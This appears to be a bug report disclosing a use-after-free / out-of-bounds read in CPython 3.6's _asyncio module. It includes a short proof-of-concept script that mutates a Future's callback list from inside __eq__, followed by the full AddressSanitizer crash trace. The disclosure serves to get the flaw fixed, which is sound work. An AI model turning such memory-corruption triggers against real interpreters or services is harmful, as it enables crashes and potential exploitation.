There are two cases of use-after-free in the new Modules/_asynciomodule.c in the release candidate for Python 3.6, but I'm filing these together because it's the same underlying issue.
In both cases in this file where the unsafe `PyList_GET_ITEM` is called, `_asyncio_Future_remove_done_callback` and `future_schedule_callbacks`, there is a function called on the fetched item that allows the user to mutate the callbacks list (`PyObject_RichCompareBool` and `_PyObject_CallMethodId`), which then leads to OOB access on subsequent iterations.
For example, this script can trigger the vulnerability for `remove_done_callback`:
```
import asyncio
fut = asyncio.Future()
fut.add_done_callback(str)
for _ in range(63):
fut.add_done_callback(id)
class evil:
def __eq__(self, other):
fut.remove_done_callback(id)
return False
fut.remove_done_callback(evil())
```
On an ASAN build we can see that there is indeed a UAF occurring:
```
=================================================================
==19239==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000e7f0 at pc 0x000106fe6704 bp 0x7fff5cda09c0 sp 0x7fff5cda09b8
READ of size 8 at 0x60300000e7f0 thread T0
#0 0x106fe6703 in _asyncio_Future_remove_done_callback _asynciomodule.c:526
#1 0x102f5af35 in _PyCFunction_FastCallDict methodobject.c:192
#2 0x1030e9044 in call_function ceval.c:4788
#3 0x1030da2f0 in _PyEval_EvalFrameDefault ceval.c:3275
#4 0x1030eb09b in _PyEval_EvalCodeWithName ceval.c:718
#5 0x1030ced53 in PyEval_EvalCode ceval.c:4140
#6 0x10317da47 in PyRun_FileExFlags pythonrun.c:980
#7 0x10317c110 in PyRun_SimpleFileExFlags pythonrun.c:396
#8 0x1031c76b8 in Py_Main main.c:320
#9 0x102e5ed40 in main python.c:69
#10 0x7fffc9bd8254 in start (libdyld.dylib+0x5254)
0x60300000e7f0 is located 0 bytes to the right of 32-byte region [0x60300000e7d0,0x60300000e7f0)
allocated by thread T0 here:
#0 0x1039d5f87 in wrap_realloc (libclang_rt.asan_osx_dynamic.dylib+0x4af87)
#1 0x102efb089 in list_ass_slice listobject.c:63
#2 0x106fe6605 in _asyncio_Future_remove_done_callback _asynciomodule.c:541
#3 0x102f5af35 in _PyCFunction_FastCallDict methodobject.c:192
#4 0x1030e9044 in call_function ceval.c:4788
#5 0x1030da2f0 in _PyEval_EvalFrameDefault ceval.c:3275
#6 0x1030ed94a in _PyFunction_FastCallDict ceval.c:718
#7 0x102e81308 in _PyObject_FastCallDict abstract.c:2295
#8 0x102e816b1 in _PyObject_Call_Prepend abstract.c:2358
#9 0x102e81286 in _PyObject_FastCallDict abstract.c:2316
#10 0x102fa125a in slot_tp_richcompare typeobject.c:6287
#11 0x102f61f66 in PyObject_RichCompare object.c:671
#12 0x102f62421 in PyObject_RichCompareBool object.c:741
#13 0x106fe6544 in _asyncio_Future_remove_done_callback _asynciomodule.c:528
#14 0x102f5af35 in _PyCFunction_FastCallDict methodobject.c:192
#15 0x1030e9044 in call_function ceval.c:4788
#16 0x1030da2f0 in _PyEval_EvalFrameDefault ceval.c:3275
#17 0x1030eb09b in _PyEval_EvalCodeWithName ceval.c:718
#18 0x1030ced53 in PyEval_EvalCode ceval.c:4140
#19 0x10317da47 in PyRun_FileExFlags pythonrun.c:980
#20 0x10317c110 in PyRun_SimpleFileExFlags pythonrun.c:396
#21 0x1031c76b8 in Py_Main main.c:320
#22 0x102e5ed40 in main python.c:69
#23 0x7fffc9bd8254 in start (libdyld.dylib+0x5254)
SUMMARY: AddressSanitizer: heap-buffer-overflow _asynciomodule.c:526 in _asyncio_Future_remove_done_callback
Shadow bytes around the buggy address:
0x1c0600001ca0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1c0600001cb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1c0600001cc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1c0600001cd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1c0600001ce0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x1c0600001cf0: fa fa fa fa fa fa fa fa fa fa 00 00 00 00[fa]fa
0x1c0600001d00: 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00 00 02
0x1c0600001d10: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
0x1c0600001d20: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x1c0600001d30: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x1c0600001d40: fa fa fd fd fd fd fa fa 00 00 00 00 fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==19239==ABORTING
[1] 19239 abort ASAN_OPTIONS=halt_on_error=0 ./python.exe test.py
```
|